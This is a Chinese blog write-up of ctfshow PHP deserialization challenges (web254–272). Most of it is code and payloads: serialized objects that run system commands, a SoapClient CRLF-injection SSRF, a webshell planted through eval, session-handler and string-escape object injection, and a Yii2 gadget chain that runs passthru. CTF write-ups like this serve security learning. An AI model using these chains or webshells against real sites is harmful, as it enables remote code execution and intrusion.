ctfshow-反序列化

web254

正常传参即可index.php?username=xxxxxx&password=xxxxxx

web255

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

web256

让username和password不一样即可

 <?php

class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));
# user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

payload:

# url传参
index.php?username=xxxxx&password=xxxxxx
# cookie
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

ctfShowUser类的__construct()中的$this->class的值改为new backDoor();来调用backDoor命令执行。

 <?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code="system('cat flag.php');";
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

这里system(‘cat flag.php’)后面忘记加分号搞了好久

payload:

#url参数
http://f3761c16-21c2-49d4-a044-ecc4acb075f2.challenge.ctf.show:8080/?username=a&password=b

#cookie
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web258(冒号后可以加+号)

加上了正则过滤

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
  	$user = unserialize($_COOKIE['user']);
}

不允许o:数字:形式的出现,使用+绕过即可,将payload里的O:11:O:8:替换为O:+11:O:+8:
在这里插入图片描述
payload

Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

web259(SoapClient实现SSRF)

参考:
wp:从一道题学习SoapClient与CRLF组合拳
知识点:SoapClient反序列化SSRF百度云加速获取真实访客IP 配合宝塔面板防御攻击

在这里插入图片描述
那么这里的CF-Connecting-IP又是什么呢?

CloudFlare 可以看成 百度云加速(一回事)

在打开网站防火墙同时使用CDN后可能无法获取到用户的真实IP,那么就无法防御,
有可能造成服务器防火墙误封CDN IP的情况,造成502 ,520错误等

一种方法是获取 header中的 X-FORWARDED-FOR 来判断用户IP,但是众所周知这个字段是可以伪造的.
可靠的方法是获取百度云加速中的 `CF-CONNECTING-IP` 字段,实测这个字段无法伪造,
那么我们获取这个字段就可以`获取到用户的真实IP`

所以这道题因为cloudfare代理,我们无法通过本地构造XFF头实现绕过,只能通过原生类实现SSRF

首先开启soap,我这里是windows环境,如下图所示,把php.ini里这一行前面分号去掉即可。
linux开启方法:打开php.ini,找到extension=soap,然后把前面的注释去掉
在这里插入图片描述
然后vps开启监听,运行如下PHP代码

<?php 
$a = new SoapClient(null , array('uri' =>'qaq' , 'location'=>'http://xx.xx.xx.xx:6666')); 
$b = serialize($a); 
$c = unserialize($b) ; 
$c -> not_a_function() ; // 调用不存在的方法, 让 SoapClient 调用 __call

VPS收到如下数据包
在这里插入图片描述
从上面这张图可以看到, SOAPAction 处是我们的可控参数, 因此我们可以尝试注入我们自己恶意构造 的 CRLF 即插入 \r\n
payload

<?php 
$a = new SoapClient(null , array('uri' =>"qaq\r\n\r\ntest\r\n" , 'location'=>'http://xx.xx.xx.xx:6666')); 
$b = serialize($a); 
$c = unserialize($b) ; 
$c -> not_a_function() ; // 调用不存在的方法, 让 SoapClient 调用 __call

成功
在这里插入图片描述
但Content-Type在SOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据,在header里User-Agent在Content-Type前面(遵循 HTTP 协议,必须有Content-Type头)

解决:user_agent同样可以注入CRLF,控制Content-Type的值,payload:

<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=my_session'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

成功
在这里插入图片描述
这道题的payload

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1',
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'qaq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
# O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A127%3A%22qaq%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D[Finished in 44ms]
?>

打payload

index.php?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A127%3A%22qaq%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后访问flag.txt即可
在这里插入图片描述

web260

题目:

 <?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

传参

/index.php?ctfshow=ctfshow_i_love_36D

web261

羽师傅:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

php弱类型,0x36d等于877,而877==877.php

<?php
$a='877.php<?php eval($_REQUEST["pass"]);';
var_dump($a==0x36d);
# bool(true)

code又是username和password拼接而成,所以我们给username赋值877.php,password赋值<?php eval($_REQUEST["pass"]);即可

payload

<?php
class ctfshowvip{
    public $username="877.php";
    public $password="<?php eval(\$_REQUEST['pass']);";
    public $code;
}
echo serialize(new ctfshowvip())."\n\n";
echo urlencode(serialize(new ctfshowvip()));
# O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_REQUEST%5B%27pass%27%5D%29%3B%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

访问877.php执行命令即可
在这里插入图片描述

web262(反序列化逃逸)

payload:

<?php
echo $a."\n\n";
class message{
    public $from="a";
    public $msg="b";
    public $to;
    public $token='user';
}
$a = new message();
$a->to=str_repeat("fuck",27).'";s:5:"token";s:5:"admin";}';
echo str_repeat("fuck",27).'";s:5:"token";s:5:"admin";}'."\n\n";
# fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

$c = str_replace('fuck', 'loveU', serialize($a));
$d = unserialize($c);
echo $d->token;
# admin

web263(php session反序列化漏洞)

参考:实战经验丨PHP反序列化漏洞总结

PHP中的Session经序列化后存储,读取时再进行反序列化。
相关配置:

在这里插入图片描述

session.auto_start boolen 
//指定会话模块是否在请求开始时启动一个会话默认为0不启动

在这里插入图片描述

session.save_handler="files" 
//设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.save_path="/tmp" 
//设置session的存储路径
session.serialize_handler php
//定义用来序列化/反序列化的处理器名字。默认使用php

PHP中有三种序列化处理器,如下表所示:
在这里插入图片描述
不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。

实现session反序列化漏洞:

/*index.php*/
<?php

	ini_set("session.serialize_handler", "php");
	class qaq
	{
		var $test = 'test';

		function __destruct(){
			echo $this->test;
		}
	}
	session_start();
/*session.php*/
<?php
	ini_set('session.serialize_handler','php_serialize');
	session_start();
	$_SESSION['test'] = $_GET['test'];

可以看到两个页面使用了不同的序列化方法。

目标:调用index.php里的__destruct()方法输出一个<script>alert(1)</script>

首先生成payload:

在这里插入图片描述
然后构造payload(前面加一个|)访问session.php,生成session文件
在这里插入图片描述

session的存储位置,session.save_path的目录下
在这里插入图片描述session存储的默认文件名,sess_PHPSESSID
在这里插入图片描述

我们来看看存储的内容是什么
在这里插入图片描述在这里插入图片描述

此时我们访问index.php,因为ini_set("session.serialize_handler", "php");的原因,存储的内容被以php处理器的形式反序列化,从而执行了类里的__destruct()魔术方法造成xss
在这里插入图片描述

我们来看看这道题
inc.php
在这里插入图片描述
设置了ini_set('session.serialize_handler', 'php');在这里插入图片描述还有类可以写文件,username拼接php后缀,password写入一句话木马即可。

现在要找写入session文件的位置,index.php中可以找到
在这里插入图片描述
payload:

<?php 
    class User{
    public $username="a.php";
    public $password='<?php system("cat f*");?>';
    public $status='a';
    }
    $a = new User();
    echo "|".serialize($a)."\n\n";
    echo base64_encode("|".serialize($a));
?>

参考:
PHP序列化之Session反序列化漏洞
[代码审计]PHP中session的存储方式(WP)

web264

<?php 
class message{
    public $from="a";
    public $msg="b";
    public $to="admin";
    public $token='admin';
}
echo "payload: ".str_repeat("fuck", 27).'";s:5:"token";s:5:"admin";}'."\n\n";

$a = new message();
$a->to=str_repeat("fuck", 27).'";s:5:"token";s:5:"admin";}';
echo str_replace('fuck', 'loveU', serialize($a))."\n\n";
$b = base64_encode(str_replace('fuck', 'loveU', serialize($a)));
$msg = unserialize(base64_decode($b));
echo $msg->token;

payload

index.php?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265(考察php的引用&)

php的引用(就是在变量或者函数、对象等前面加上&符号)

在PHP 中引用的意思是:不同的名字访问同一个变量内容。
与C语言中的指针是有差别的.C语言中的指针里面存储的是变量的内容,在内存中存放的地址。

payload:

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->password=&$this->token;
    }
}
echo serialize(new ctfshowAdmin());

web266(php类与变量大小写不敏感)

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}
echo serialize(new ctfshow());

大小写绕过即可

web267-270(Yii框架反序列化)

专门复现了一波:Yii2 反序列化漏洞复现

admin/admin弱口令登录,源码中发现提示
在这里插入图片描述
传参:index.php?r=backdoor/shell&view-source
这里这样传参是因为yii的路由规则,Yii2.0 路由(Route)的实现原理 [ 2.0 版本 ]

在这里插入图片描述
这里使用passthru函数有回显

<?php

namespace yii\rest{
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = "passthru";
            $this->id = "tac /f*";
        }
    }
}

namespace Faker
{
    use yii\rest\IndexAction;
    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            // 这里调用上一个类的方法的姿势需要学习一波
            // 记得将close换为isRunning,这里忘记换了,搞了半天
            $this->formatters['__toString'] = [new IndexAction(), "run"];
        }
    }
}

namespace phpDocumentor\Reflection\Types{
    use Faker\Generator;
    final class Nullable
    {
        private $realType;
        public function __construct()
        {
            $this->realType = new Generator();
        }
    }
}

namespace{
    use phpDocumentor\Reflection\Types\Nullable;
    class Swift_KeyCache_DiskKeyCache
    {
        private $path;
        private $keys = [];
        public function __construct()
        {
            $this->path = new Nullable();
            $this->keys = ["hello"]; 
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

paylaod:/index.php?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAHBhdGgiO086Mzk6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZSI6MTp7czo0OToiAHBocERvY3VtZW50b3JcUmVmbGVjdGlvblxUeXBlc1xOdWxsYWJsZQByZWFsVHlwZSI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6MTA6Il9fdG9TdHJpbmciO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo3OiJ0YWMgL2YqIjt9aToxO3M6MzoicnVuIjt9fX19czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBrZXlzIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fQ==

web271(laravel5.7反序列化漏洞)

web272(laravel5.8反序列化漏洞)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值